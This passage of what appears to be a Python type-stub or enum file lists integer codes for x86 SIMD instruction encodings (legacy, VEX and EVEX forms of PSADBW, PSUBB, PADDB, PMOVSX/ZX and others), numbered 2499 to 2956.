EVEX_VPMADDWD_ZMM_K1Z_ZMM_ZMMM512: int = 2499
PSADBW_MM_MMM64: int = 2500
PSADBW_XMM_XMMM128: int = 2501
VEX_VPSADBW_XMM_XMM_XMMM128: int = 2502
VEX_VPSADBW_YMM_YMM_YMMM256: int = 2503
EVEX_VPSADBW_XMM_XMM_XMMM128: int = 2504
EVEX_VPSADBW_YMM_YMM_YMMM256: int = 2505
EVEX_VPSADBW_ZMM_ZMM_ZMMM512: int = 2506
MASKMOVQ_RDI_MM_MM: int = 2507
MASKMOVDQU_RDI_XMM_XMM: int = 2508
VEX_VMASKMOVDQU_RDI_XMM_XMM: int = 2509
PSUBB_MM_MMM64: int = 2510
PSUBB_XMM_XMMM128: int = 2511
VEX_VPSUBB_XMM_XMM_XMMM128: int = 2512
VEX_VPSUBB_YMM_YMM_YMMM256: int = 2513
EVEX_VPSUBB_XMM_K1Z_XMM_XMMM128: int = 2514
EVEX_VPSUBB_YMM_K1Z_YMM_YMMM256: int = 2515
EVEX_VPSUBB_ZMM_K1Z_ZMM_ZMMM512: int = 2516
PSUBW_MM_MMM64: int = 2517
PSUBW_XMM_XMMM128: int = 2518
VEX_VPSUBW_XMM_XMM_XMMM128: int = 2519
VEX_VPSUBW_YMM_YMM_YMMM256: int = 2520
EVEX_VPSUBW_XMM_K1Z_XMM_XMMM128: int = 2521
EVEX_VPSUBW_YMM_K1Z_YMM_YMMM256: int = 2522
EVEX_VPSUBW_ZMM_K1Z_ZMM_ZMMM512: int = 2523
PSUBD_MM_MMM64: int = 2524
PSUBD_XMM_XMMM128: int = 2525
VEX_VPSUBD_XMM_XMM_XMMM128: int = 2526
VEX_VPSUBD_YMM_YMM_YMMM256: int = 2527
EVEX_VPSUBD_XMM_K1Z_XMM_XMMM128B32: int = 2528
EVEX_VPSUBD_YMM_K1Z_YMM_YMMM256B32: int = 2529
EVEX_VPSUBD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2530
PSUBQ_MM_MMM64: int = 2531
PSUBQ_XMM_XMMM128: int = 2532
VEX_VPSUBQ_XMM_XMM_XMMM128: int = 2533
VEX_VPSUBQ_YMM_YMM_YMMM256: int = 2534
EVEX_VPSUBQ_XMM_K1Z_XMM_XMMM128B64: int = 2535
EVEX_VPSUBQ_YMM_K1Z_YMM_YMMM256B64: int = 2536
EVEX_VPSUBQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2537
PADDB_MM_MMM64: int = 2538
PADDB_XMM_XMMM128: int = 2539
VEX_VPADDB_XMM_XMM_XMMM128: int = 2540
VEX_VPADDB_YMM_YMM_YMMM256: int = 2541
EVEX_VPADDB_XMM_K1Z_XMM_XMMM128: int = 2542
EVEX_VPADDB_YMM_K1Z_YMM_YMMM256: int = 2543
EVEX_VPADDB_ZMM_K1Z_ZMM_ZMMM512: int = 2544
PADDW_MM_MMM64: int = 2545
PADDW_XMM_XMMM128: int = 2546
VEX_VPADDW_XMM_XMM_XMMM128: int = 2547
VEX_VPADDW_YMM_YMM_YMMM256: int = 2548
EVEX_VPADDW_XMM_K1Z_XMM_XMMM128: int = 2549
EVEX_VPADDW_YMM_K1Z_YMM_YMMM256: int = 2550
EVEX_VPADDW_ZMM_K1Z_ZMM_ZMMM512: int = 2551
PADDD_MM_MMM64: int = 2552
PADDD_XMM_XMMM128: int = 2553
VEX_VPADDD_XMM_XMM_XMMM128: int = 2554
VEX_VPADDD_YMM_YMM_YMMM256: int = 2555
EVEX_VPADDD_XMM_K1Z_XMM_XMMM128B32: int = 2556
EVEX_VPADDD_YMM_K1Z_YMM_YMMM256B32: int = 2557
EVEX_VPADDD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2558
UD0_R16_RM16: int = 2559
UD0_R32_RM32: int = 2560
UD0_R64_RM64: int = 2561
PSHUFB_MM_MMM64: int = 2562
PSHUFB_XMM_XMMM128: int = 2563
VEX_VPSHUFB_XMM_XMM_XMMM128: int = 2564
VEX_VPSHUFB_YMM_YMM_YMMM256: int = 2565
EVEX_VPSHUFB_XMM_K1Z_XMM_XMMM128: int = 2566
EVEX_VPSHUFB_YMM_K1Z_YMM_YMMM256: int = 2567
EVEX_VPSHUFB_ZMM_K1Z_ZMM_ZMMM512: int = 2568
PHADDW_MM_MMM64: int = 2569
PHADDW_XMM_XMMM128: int = 2570
VEX_VPHADDW_XMM_XMM_XMMM128: int = 2571
VEX_VPHADDW_YMM_YMM_YMMM256: int = 2572
PHADDD_MM_MMM64: int = 2573
PHADDD_XMM_XMMM128: int = 2574
VEX_VPHADDD_XMM_XMM_XMMM128: int = 2575
VEX_VPHADDD_YMM_YMM_YMMM256: int = 2576
PHADDSW_MM_MMM64: int = 2577
PHADDSW_XMM_XMMM128: int = 2578
VEX_VPHADDSW_XMM_XMM_XMMM128: int = 2579
VEX_VPHADDSW_YMM_YMM_YMMM256: int = 2580
PMADDUBSW_MM_MMM64: int = 2581
PMADDUBSW_XMM_XMMM128: int = 2582
VEX_VPMADDUBSW_XMM_XMM_XMMM128: int = 2583
VEX_VPMADDUBSW_YMM_YMM_YMMM256: int = 2584
EVEX_VPMADDUBSW_XMM_K1Z_XMM_XMMM128: int = 2585
EVEX_VPMADDUBSW_YMM_K1Z_YMM_YMMM256: int = 2586
EVEX_VPMADDUBSW_ZMM_K1Z_ZMM_ZMMM512: int = 2587
PHSUBW_MM_MMM64: int = 2588
PHSUBW_XMM_XMMM128: int = 2589
VEX_VPHSUBW_XMM_XMM_XMMM128: int = 2590
VEX_VPHSUBW_YMM_YMM_YMMM256: int = 2591
PHSUBD_MM_MMM64: int = 2592
PHSUBD_XMM_XMMM128: int = 2593
VEX_VPHSUBD_XMM_XMM_XMMM128: int = 2594
VEX_VPHSUBD_YMM_YMM_YMMM256: int = 2595
PHSUBSW_MM_MMM64: int = 2596
PHSUBSW_XMM_XMMM128: int = 2597
VEX_VPHSUBSW_XMM_XMM_XMMM128: int = 2598
VEX_VPHSUBSW_YMM_YMM_YMMM256: int = 2599
PSIGNB_MM_MMM64: int = 2600
PSIGNB_XMM_XMMM128: int = 2601
VEX_VPSIGNB_XMM_XMM_XMMM128: int = 2602
VEX_VPSIGNB_YMM_YMM_YMMM256: int = 2603
PSIGNW_MM_MMM64: int = 2604
PSIGNW_XMM_XMMM128: int = 2605
VEX_VPSIGNW_XMM_XMM_XMMM128: int = 2606
VEX_VPSIGNW_YMM_YMM_YMMM256: int = 2607
PSIGND_MM_MMM64: int = 2608
PSIGND_XMM_XMMM128: int = 2609
VEX_VPSIGND_XMM_XMM_XMMM128: int = 2610
VEX_VPSIGND_YMM_YMM_YMMM256: int = 2611
PMULHRSW_MM_MMM64: int = 2612
PMULHRSW_XMM_XMMM128: int = 2613
VEX_VPMULHRSW_XMM_XMM_XMMM128: int = 2614
VEX_VPMULHRSW_YMM_YMM_YMMM256: int = 2615
EVEX_VPMULHRSW_XMM_K1Z_XMM_XMMM128: int = 2616
EVEX_VPMULHRSW_YMM_K1Z_YMM_YMMM256: int = 2617
EVEX_VPMULHRSW_ZMM_K1Z_ZMM_ZMMM512: int = 2618
VEX_VPERMILPS_XMM_XMM_XMMM128: int = 2619
VEX_VPERMILPS_YMM_YMM_YMMM256: int = 2620
EVEX_VPERMILPS_XMM_K1Z_XMM_XMMM128B32: int = 2621
EVEX_VPERMILPS_YMM_K1Z_YMM_YMMM256B32: int = 2622
EVEX_VPERMILPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 2623
VEX_VPERMILPD_XMM_XMM_XMMM128: int = 2624
VEX_VPERMILPD_YMM_YMM_YMMM256: int = 2625
EVEX_VPERMILPD_XMM_K1Z_XMM_XMMM128B64: int = 2626
EVEX_VPERMILPD_YMM_K1Z_YMM_YMMM256B64: int = 2627
EVEX_VPERMILPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 2628
VEX_VTESTPS_XMM_XMMM128: int = 2629
VEX_VTESTPS_YMM_YMMM256: int = 2630
VEX_VTESTPD_XMM_XMMM128: int = 2631
VEX_VTESTPD_YMM_YMMM256: int = 2632
PBLENDVB_XMM_XMMM128: int = 2633
EVEX_VPSRLVW_XMM_K1Z_XMM_XMMM128: int = 2634
EVEX_VPSRLVW_YMM_K1Z_YMM_YMMM256: int = 2635
EVEX_VPSRLVW_ZMM_K1Z_ZMM_ZMMM512: int = 2636
EVEX_VPMOVUSWB_XMMM64_K1Z_XMM: int = 2637
EVEX_VPMOVUSWB_XMMM128_K1Z_YMM: int = 2638
EVEX_VPMOVUSWB_YMMM256_K1Z_ZMM: int = 2639
EVEX_VPSRAVW_XMM_K1Z_XMM_XMMM128: int = 2640
EVEX_VPSRAVW_YMM_K1Z_YMM_YMMM256: int = 2641
EVEX_VPSRAVW_ZMM_K1Z_ZMM_ZMMM512: int = 2642
EVEX_VPMOVUSDB_XMMM32_K1Z_XMM: int = 2643
EVEX_VPMOVUSDB_XMMM64_K1Z_YMM: int = 2644
EVEX_VPMOVUSDB_XMMM128_K1Z_ZMM: int = 2645
EVEX_VPSLLVW_XMM_K1Z_XMM_XMMM128: int = 2646
EVEX_VPSLLVW_YMM_K1Z_YMM_YMMM256: int = 2647
EVEX_VPSLLVW_ZMM_K1Z_ZMM_ZMMM512: int = 2648
EVEX_VPMOVUSQB_XMMM16_K1Z_XMM: int = 2649
EVEX_VPMOVUSQB_XMMM32_K1Z_YMM: int = 2650
EVEX_VPMOVUSQB_XMMM64_K1Z_ZMM: int = 2651
VEX_VCVTPH2PS_XMM_XMMM64: int = 2652
VEX_VCVTPH2PS_YMM_XMMM128: int = 2653
EVEX_VCVTPH2PS_XMM_K1Z_XMMM64: int = 2654
EVEX_VCVTPH2PS_YMM_K1Z_XMMM128: int = 2655
EVEX_VCVTPH2PS_ZMM_K1Z_YMMM256_SAE: int = 2656
EVEX_VPMOVUSDW_XMMM64_K1Z_XMM: int = 2657
EVEX_VPMOVUSDW_XMMM128_K1Z_YMM: int = 2658
EVEX_VPMOVUSDW_YMMM256_K1Z_ZMM: int = 2659
BLENDVPS_XMM_XMMM128: int = 2660
EVEX_VPRORVD_XMM_K1Z_XMM_XMMM128B32: int = 2661
EVEX_VPRORVD_YMM_K1Z_YMM_YMMM256B32: int = 2662
EVEX_VPRORVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2663
EVEX_VPRORVQ_XMM_K1Z_XMM_XMMM128B64: int = 2664
EVEX_VPRORVQ_YMM_K1Z_YMM_YMMM256B64: int = 2665
EVEX_VPRORVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2666
EVEX_VPMOVUSQW_XMMM32_K1Z_XMM: int = 2667
EVEX_VPMOVUSQW_XMMM64_K1Z_YMM: int = 2668
EVEX_VPMOVUSQW_XMMM128_K1Z_ZMM: int = 2669
BLENDVPD_XMM_XMMM128: int = 2670
EVEX_VPROLVD_XMM_K1Z_XMM_XMMM128B32: int = 2671
EVEX_VPROLVD_YMM_K1Z_YMM_YMMM256B32: int = 2672
EVEX_VPROLVD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2673
EVEX_VPROLVQ_XMM_K1Z_XMM_XMMM128B64: int = 2674
EVEX_VPROLVQ_YMM_K1Z_YMM_YMMM256B64: int = 2675
EVEX_VPROLVQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2676
EVEX_VPMOVUSQD_XMMM64_K1Z_XMM: int = 2677
EVEX_VPMOVUSQD_XMMM128_K1Z_YMM: int = 2678
EVEX_VPMOVUSQD_YMMM256_K1Z_ZMM: int = 2679
VEX_VPERMPS_YMM_YMM_YMMM256: int = 2680
EVEX_VPERMPS_YMM_K1Z_YMM_YMMM256B32: int = 2681
EVEX_VPERMPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 2682
EVEX_VPERMPD_YMM_K1Z_YMM_YMMM256B64: int = 2683
EVEX_VPERMPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 2684
PTEST_XMM_XMMM128: int = 2685
VEX_VPTEST_XMM_XMMM128: int = 2686
VEX_VPTEST_YMM_YMMM256: int = 2687
VEX_VBROADCASTSS_XMM_M32: int = 2688
VEX_VBROADCASTSS_YMM_M32: int = 2689
EVEX_VBROADCASTSS_XMM_K1Z_XMMM32: int = 2690
EVEX_VBROADCASTSS_YMM_K1Z_XMMM32: int = 2691
EVEX_VBROADCASTSS_ZMM_K1Z_XMMM32: int = 2692
VEX_VBROADCASTSD_YMM_M64: int = 2693
EVEX_VBROADCASTF32X2_YMM_K1Z_XMMM64: int = 2694
EVEX_VBROADCASTF32X2_ZMM_K1Z_XMMM64: int = 2695
EVEX_VBROADCASTSD_YMM_K1Z_XMMM64: int = 2696
EVEX_VBROADCASTSD_ZMM_K1Z_XMMM64: int = 2697
VEX_VBROADCASTF128_YMM_M128: int = 2698
EVEX_VBROADCASTF32X4_YMM_K1Z_M128: int = 2699
EVEX_VBROADCASTF32X4_ZMM_K1Z_M128: int = 2700
EVEX_VBROADCASTF64X2_YMM_K1Z_M128: int = 2701
EVEX_VBROADCASTF64X2_ZMM_K1Z_M128: int = 2702
EVEX_VBROADCASTF32X8_ZMM_K1Z_M256: int = 2703
EVEX_VBROADCASTF64X4_ZMM_K1Z_M256: int = 2704
PABSB_MM_MMM64: int = 2705
PABSB_XMM_XMMM128: int = 2706
VEX_VPABSB_XMM_XMMM128: int = 2707
VEX_VPABSB_YMM_YMMM256: int = 2708
EVEX_VPABSB_XMM_K1Z_XMMM128: int = 2709
EVEX_VPABSB_YMM_K1Z_YMMM256: int = 2710
EVEX_VPABSB_ZMM_K1Z_ZMMM512: int = 2711
PABSW_MM_MMM64: int = 2712
PABSW_XMM_XMMM128: int = 2713
VEX_VPABSW_XMM_XMMM128: int = 2714
VEX_VPABSW_YMM_YMMM256: int = 2715
EVEX_VPABSW_XMM_K1Z_XMMM128: int = 2716
EVEX_VPABSW_YMM_K1Z_YMMM256: int = 2717
EVEX_VPABSW_ZMM_K1Z_ZMMM512: int = 2718
PABSD_MM_MMM64: int = 2719
PABSD_XMM_XMMM128: int = 2720
VEX_VPABSD_XMM_XMMM128: int = 2721
VEX_VPABSD_YMM_YMMM256: int = 2722
EVEX_VPABSD_XMM_K1Z_XMMM128B32: int = 2723
EVEX_VPABSD_YMM_K1Z_YMMM256B32: int = 2724
EVEX_VPABSD_ZMM_K1Z_ZMMM512B32: int = 2725
EVEX_VPABSQ_XMM_K1Z_XMMM128B64: int = 2726
EVEX_VPABSQ_YMM_K1Z_YMMM256B64: int = 2727
EVEX_VPABSQ_ZMM_K1Z_ZMMM512B64: int = 2728
PMOVSXBW_XMM_XMMM64: int = 2729
VEX_VPMOVSXBW_XMM_XMMM64: int = 2730
VEX_VPMOVSXBW_YMM_XMMM128: int = 2731
EVEX_VPMOVSXBW_XMM_K1Z_XMMM64: int = 2732
EVEX_VPMOVSXBW_YMM_K1Z_XMMM128: int = 2733
EVEX_VPMOVSXBW_ZMM_K1Z_YMMM256: int = 2734
EVEX_VPMOVSWB_XMMM64_K1Z_XMM: int = 2735
EVEX_VPMOVSWB_XMMM128_K1Z_YMM: int = 2736
EVEX_VPMOVSWB_YMMM256_K1Z_ZMM: int = 2737
PMOVSXBD_XMM_XMMM32: int = 2738
VEX_VPMOVSXBD_XMM_XMMM32: int = 2739
VEX_VPMOVSXBD_YMM_XMMM64: int = 2740
EVEX_VPMOVSXBD_XMM_K1Z_XMMM32: int = 2741
EVEX_VPMOVSXBD_YMM_K1Z_XMMM64: int = 2742
EVEX_VPMOVSXBD_ZMM_K1Z_XMMM128: int = 2743
EVEX_VPMOVSDB_XMMM32_K1Z_XMM: int = 2744
EVEX_VPMOVSDB_XMMM64_K1Z_YMM: int = 2745
EVEX_VPMOVSDB_XMMM128_K1Z_ZMM: int = 2746
PMOVSXBQ_XMM_XMMM16: int = 2747
VEX_VPMOVSXBQ_XMM_XMMM16: int = 2748
VEX_VPMOVSXBQ_YMM_XMMM32: int = 2749
EVEX_VPMOVSXBQ_XMM_K1Z_XMMM16: int = 2750
EVEX_VPMOVSXBQ_YMM_K1Z_XMMM32: int = 2751
EVEX_VPMOVSXBQ_ZMM_K1Z_XMMM64: int = 2752
EVEX_VPMOVSQB_XMMM16_K1Z_XMM: int = 2753
EVEX_VPMOVSQB_XMMM32_K1Z_YMM: int = 2754
EVEX_VPMOVSQB_XMMM64_K1Z_ZMM: int = 2755
PMOVSXWD_XMM_XMMM64: int = 2756
VEX_VPMOVSXWD_XMM_XMMM64: int = 2757
VEX_VPMOVSXWD_YMM_XMMM128: int = 2758
EVEX_VPMOVSXWD_XMM_K1Z_XMMM64: int = 2759
EVEX_VPMOVSXWD_YMM_K1Z_XMMM128: int = 2760
EVEX_VPMOVSXWD_ZMM_K1Z_YMMM256: int = 2761
EVEX_VPMOVSDW_XMMM64_K1Z_XMM: int = 2762
EVEX_VPMOVSDW_XMMM128_K1Z_YMM: int = 2763
EVEX_VPMOVSDW_YMMM256_K1Z_ZMM: int = 2764
PMOVSXWQ_XMM_XMMM32: int = 2765
VEX_VPMOVSXWQ_XMM_XMMM32: int = 2766
VEX_VPMOVSXWQ_YMM_XMMM64: int = 2767
EVEX_VPMOVSXWQ_XMM_K1Z_XMMM32: int = 2768
EVEX_VPMOVSXWQ_YMM_K1Z_XMMM64: int = 2769
EVEX_VPMOVSXWQ_ZMM_K1Z_XMMM128: int = 2770
EVEX_VPMOVSQW_XMMM32_K1Z_XMM: int = 2771
EVEX_VPMOVSQW_XMMM64_K1Z_YMM: int = 2772
EVEX_VPMOVSQW_XMMM128_K1Z_ZMM: int = 2773
PMOVSXDQ_XMM_XMMM64: int = 2774
VEX_VPMOVSXDQ_XMM_XMMM64: int = 2775
VEX_VPMOVSXDQ_YMM_XMMM128: int = 2776
EVEX_VPMOVSXDQ_XMM_K1Z_XMMM64: int = 2777
EVEX_VPMOVSXDQ_YMM_K1Z_XMMM128: int = 2778
EVEX_VPMOVSXDQ_ZMM_K1Z_YMMM256: int = 2779
EVEX_VPMOVSQD_XMMM64_K1Z_XMM: int = 2780
EVEX_VPMOVSQD_XMMM128_K1Z_YMM: int = 2781
EVEX_VPMOVSQD_YMMM256_K1Z_ZMM: int = 2782
EVEX_VPTESTMB_KR_K1_XMM_XMMM128: int = 2783
EVEX_VPTESTMB_KR_K1_YMM_YMMM256: int = 2784
EVEX_VPTESTMB_KR_K1_ZMM_ZMMM512: int = 2785
EVEX_VPTESTMW_KR_K1_XMM_XMMM128: int = 2786
EVEX_VPTESTMW_KR_K1_YMM_YMMM256: int = 2787
EVEX_VPTESTMW_KR_K1_ZMM_ZMMM512: int = 2788
EVEX_VPTESTNMB_KR_K1_XMM_XMMM128: int = 2789
EVEX_VPTESTNMB_KR_K1_YMM_YMMM256: int = 2790
EVEX_VPTESTNMB_KR_K1_ZMM_ZMMM512: int = 2791
EVEX_VPTESTNMW_KR_K1_XMM_XMMM128: int = 2792
EVEX_VPTESTNMW_KR_K1_YMM_YMMM256: int = 2793
EVEX_VPTESTNMW_KR_K1_ZMM_ZMMM512: int = 2794
EVEX_VPTESTMD_KR_K1_XMM_XMMM128B32: int = 2795
EVEX_VPTESTMD_KR_K1_YMM_YMMM256B32: int = 2796
EVEX_VPTESTMD_KR_K1_ZMM_ZMMM512B32: int = 2797
EVEX_VPTESTMQ_KR_K1_XMM_XMMM128B64: int = 2798
EVEX_VPTESTMQ_KR_K1_YMM_YMMM256B64: int = 2799
EVEX_VPTESTMQ_KR_K1_ZMM_ZMMM512B64: int = 2800
EVEX_VPTESTNMD_KR_K1_XMM_XMMM128B32: int = 2801
EVEX_VPTESTNMD_KR_K1_YMM_YMMM256B32: int = 2802
EVEX_VPTESTNMD_KR_K1_ZMM_ZMMM512B32: int = 2803
EVEX_VPTESTNMQ_KR_K1_XMM_XMMM128B64: int = 2804
EVEX_VPTESTNMQ_KR_K1_YMM_YMMM256B64: int = 2805
EVEX_VPTESTNMQ_KR_K1_ZMM_ZMMM512B64: int = 2806
PMULDQ_XMM_XMMM128: int = 2807
VEX_VPMULDQ_XMM_XMM_XMMM128: int = 2808
VEX_VPMULDQ_YMM_YMM_YMMM256: int = 2809
EVEX_VPMULDQ_XMM_K1Z_XMM_XMMM128B64: int = 2810
EVEX_VPMULDQ_YMM_K1Z_YMM_YMMM256B64: int = 2811
EVEX_VPMULDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2812
EVEX_VPMOVM2B_XMM_KR: int = 2813
EVEX_VPMOVM2B_YMM_KR: int = 2814
EVEX_VPMOVM2B_ZMM_KR: int = 2815
EVEX_VPMOVM2W_XMM_KR: int = 2816
EVEX_VPMOVM2W_YMM_KR: int = 2817
EVEX_VPMOVM2W_ZMM_KR: int = 2818
PCMPEQQ_XMM_XMMM128: int = 2819
VEX_VPCMPEQQ_XMM_XMM_XMMM128: int = 2820
VEX_VPCMPEQQ_YMM_YMM_YMMM256: int = 2821
EVEX_VPCMPEQQ_KR_K1_XMM_XMMM128B64: int = 2822
EVEX_VPCMPEQQ_KR_K1_YMM_YMMM256B64: int = 2823
EVEX_VPCMPEQQ_KR_K1_ZMM_ZMMM512B64: int = 2824
EVEX_VPMOVB2M_KR_XMM: int = 2825
EVEX_VPMOVB2M_KR_YMM: int = 2826
EVEX_VPMOVB2M_KR_ZMM: int = 2827
EVEX_VPMOVW2M_KR_XMM: int = 2828
EVEX_VPMOVW2M_KR_YMM: int = 2829
EVEX_VPMOVW2M_KR_ZMM: int = 2830
MOVNTDQA_XMM_M128: int = 2831
VEX_VMOVNTDQA_XMM_M128: int = 2832
VEX_VMOVNTDQA_YMM_M256: int = 2833
EVEX_VMOVNTDQA_XMM_M128: int = 2834
EVEX_VMOVNTDQA_YMM_M256: int = 2835
EVEX_VMOVNTDQA_ZMM_M512: int = 2836
EVEX_VPBROADCASTMB2Q_XMM_KR: int = 2837
EVEX_VPBROADCASTMB2Q_YMM_KR: int = 2838
EVEX_VPBROADCASTMB2Q_ZMM_KR: int = 2839
PACKUSDW_XMM_XMMM128: int = 2840
VEX_VPACKUSDW_XMM_XMM_XMMM128: int = 2841
VEX_VPACKUSDW_YMM_YMM_YMMM256: int = 2842
EVEX_VPACKUSDW_XMM_K1Z_XMM_XMMM128B32: int = 2843
EVEX_VPACKUSDW_YMM_K1Z_YMM_YMMM256B32: int = 2844
EVEX_VPACKUSDW_ZMM_K1Z_ZMM_ZMMM512B32: int = 2845
VEX_VMASKMOVPS_XMM_XMM_M128: int = 2846
VEX_VMASKMOVPS_YMM_YMM_M256: int = 2847
EVEX_VSCALEFPS_XMM_K1Z_XMM_XMMM128B32: int = 2848
EVEX_VSCALEFPS_YMM_K1Z_YMM_YMMM256B32: int = 2849
EVEX_VSCALEFPS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 2850
EVEX_VSCALEFPD_XMM_K1Z_XMM_XMMM128B64: int = 2851
EVEX_VSCALEFPD_YMM_K1Z_YMM_YMMM256B64: int = 2852
EVEX_VSCALEFPD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 2853
VEX_VMASKMOVPD_XMM_XMM_M128: int = 2854
VEX_VMASKMOVPD_YMM_YMM_M256: int = 2855
EVEX_VSCALEFSS_XMM_K1Z_XMM_XMMM32_ER: int = 2856
EVEX_VSCALEFSD_XMM_K1Z_XMM_XMMM64_ER: int = 2857
VEX_VMASKMOVPS_M128_XMM_XMM: int = 2858
VEX_VMASKMOVPS_M256_YMM_YMM: int = 2859
VEX_VMASKMOVPD_M128_XMM_XMM: int = 2860
VEX_VMASKMOVPD_M256_YMM_YMM: int = 2861
PMOVZXBW_XMM_XMMM64: int = 2862
VEX_VPMOVZXBW_XMM_XMMM64: int = 2863
VEX_VPMOVZXBW_YMM_XMMM128: int = 2864
EVEX_VPMOVZXBW_XMM_K1Z_XMMM64: int = 2865
EVEX_VPMOVZXBW_YMM_K1Z_XMMM128: int = 2866
EVEX_VPMOVZXBW_ZMM_K1Z_YMMM256: int = 2867
EVEX_VPMOVWB_XMMM64_K1Z_XMM: int = 2868
EVEX_VPMOVWB_XMMM128_K1Z_YMM: int = 2869
EVEX_VPMOVWB_YMMM256_K1Z_ZMM: int = 2870
PMOVZXBD_XMM_XMMM32: int = 2871
VEX_VPMOVZXBD_XMM_XMMM32: int = 2872
VEX_VPMOVZXBD_YMM_XMMM64: int = 2873
EVEX_VPMOVZXBD_XMM_K1Z_XMMM32: int = 2874
EVEX_VPMOVZXBD_YMM_K1Z_XMMM64: int = 2875
EVEX_VPMOVZXBD_ZMM_K1Z_XMMM128: int = 2876
EVEX_VPMOVDB_XMMM32_K1Z_XMM: int = 2877
EVEX_VPMOVDB_XMMM64_K1Z_YMM: int = 2878
EVEX_VPMOVDB_XMMM128_K1Z_ZMM: int = 2879
PMOVZXBQ_XMM_XMMM16: int = 2880
VEX_VPMOVZXBQ_XMM_XMMM16: int = 2881
VEX_VPMOVZXBQ_YMM_XMMM32: int = 2882
EVEX_VPMOVZXBQ_XMM_K1Z_XMMM16: int = 2883
EVEX_VPMOVZXBQ_YMM_K1Z_XMMM32: int = 2884
EVEX_VPMOVZXBQ_ZMM_K1Z_XMMM64: int = 2885
EVEX_VPMOVQB_XMMM16_K1Z_XMM: int = 2886
EVEX_VPMOVQB_XMMM32_K1Z_YMM: int = 2887
EVEX_VPMOVQB_XMMM64_K1Z_ZMM: int = 2888
PMOVZXWD_XMM_XMMM64: int = 2889
VEX_VPMOVZXWD_XMM_XMMM64: int = 2890
VEX_VPMOVZXWD_YMM_XMMM128: int = 2891
EVEX_VPMOVZXWD_XMM_K1Z_XMMM64: int = 2892
EVEX_VPMOVZXWD_YMM_K1Z_XMMM128: int = 2893
EVEX_VPMOVZXWD_ZMM_K1Z_YMMM256: int = 2894
EVEX_VPMOVDW_XMMM64_K1Z_XMM: int = 2895
EVEX_VPMOVDW_XMMM128_K1Z_YMM: int = 2896
EVEX_VPMOVDW_YMMM256_K1Z_ZMM: int = 2897
PMOVZXWQ_XMM_XMMM32: int = 2898
VEX_VPMOVZXWQ_XMM_XMMM32: int = 2899
VEX_VPMOVZXWQ_YMM_XMMM64: int = 2900
EVEX_VPMOVZXWQ_XMM_K1Z_XMMM32: int = 2901
EVEX_VPMOVZXWQ_YMM_K1Z_XMMM64: int = 2902
EVEX_VPMOVZXWQ_ZMM_K1Z_XMMM128: int = 2903
EVEX_VPMOVQW_XMMM32_K1Z_XMM: int = 2904
EVEX_VPMOVQW_XMMM64_K1Z_YMM: int = 2905
EVEX_VPMOVQW_XMMM128_K1Z_ZMM: int = 2906
PMOVZXDQ_XMM_XMMM64: int = 2907
VEX_VPMOVZXDQ_XMM_XMMM64: int = 2908
VEX_VPMOVZXDQ_YMM_XMMM128: int = 2909
EVEX_VPMOVZXDQ_XMM_K1Z_XMMM64: int = 2910
EVEX_VPMOVZXDQ_YMM_K1Z_XMMM128: int = 2911
EVEX_VPMOVZXDQ_ZMM_K1Z_YMMM256: int = 2912
EVEX_VPMOVQD_XMMM64_K1Z_XMM: int = 2913
EVEX_VPMOVQD_XMMM128_K1Z_YMM: int = 2914
EVEX_VPMOVQD_YMMM256_K1Z_ZMM: int = 2915
VEX_VPERMD_YMM_YMM_YMMM256: int = 2916
EVEX_VPERMD_YMM_K1Z_YMM_YMMM256B32: int = 2917
EVEX_VPERMD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2918
EVEX_VPERMQ_YMM_K1Z_YMM_YMMM256B64: int = 2919
EVEX_VPERMQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2920
PCMPGTQ_XMM_XMMM128: int = 2921
VEX_VPCMPGTQ_XMM_XMM_XMMM128: int = 2922
VEX_VPCMPGTQ_YMM_YMM_YMMM256: int = 2923
EVEX_VPCMPGTQ_KR_K1_XMM_XMMM128B64: int = 2924
EVEX_VPCMPGTQ_KR_K1_YMM_YMMM256B64: int = 2925
EVEX_VPCMPGTQ_KR_K1_ZMM_ZMMM512B64: int = 2926
PMINSB_XMM_XMMM128: int = 2927
VEX_VPMINSB_XMM_XMM_XMMM128: int = 2928
VEX_VPMINSB_YMM_YMM_YMMM256: int = 2929
EVEX_VPMINSB_XMM_K1Z_XMM_XMMM128: int = 2930
EVEX_VPMINSB_YMM_K1Z_YMM_YMMM256: int = 2931
EVEX_VPMINSB_ZMM_K1Z_ZMM_ZMMM512: int = 2932
EVEX_VPMOVM2D_XMM_KR: int = 2933
EVEX_VPMOVM2D_YMM_KR: int = 2934
EVEX_VPMOVM2D_ZMM_KR: int = 2935
EVEX_VPMOVM2Q_XMM_KR: int = 2936
EVEX_VPMOVM2Q_YMM_KR: int = 2937
EVEX_VPMOVM2Q_ZMM_KR: int = 2938
PMINSD_XMM_XMMM128: int = 2939
VEX_VPMINSD_XMM_XMM_XMMM128: int = 2940
VEX_VPMINSD_YMM_YMM_YMMM256: int = 2941
EVEX_VPMINSD_XMM_K1Z_XMM_XMMM128B32: int = 2942
EVEX_VPMINSD_YMM_K1Z_YMM_YMMM256B32: int = 2943
EVEX_VPMINSD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2944
EVEX_VPMINSQ_XMM_K1Z_XMM_XMMM128B64: int = 2945
EVEX_VPMINSQ_YMM_K1Z_YMM_YMMM256B64: int = 2946
EVEX_VPMINSQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2947
EVEX_VPMOVD2M_KR_XMM: int = 2948
EVEX_VPMOVD2M_KR_YMM: int = 2949
EVEX_VPMOVD2M_KR_ZMM: int = 2950
EVEX_VPMOVQ2M_KR_XMM: int = 2951
EVEX_VPMOVQ2M_KR_YMM: int = 2952
EVEX_VPMOVQ2M_KR_ZMM: int = 2953
PMINUW_XMM_XMMM128: int = 2954
VEX_VPMINUW_XMM_XMM_XMMM128: int = 2955
VEX_VPMINUW_YMM_YMM_YMMM256: int = 2956
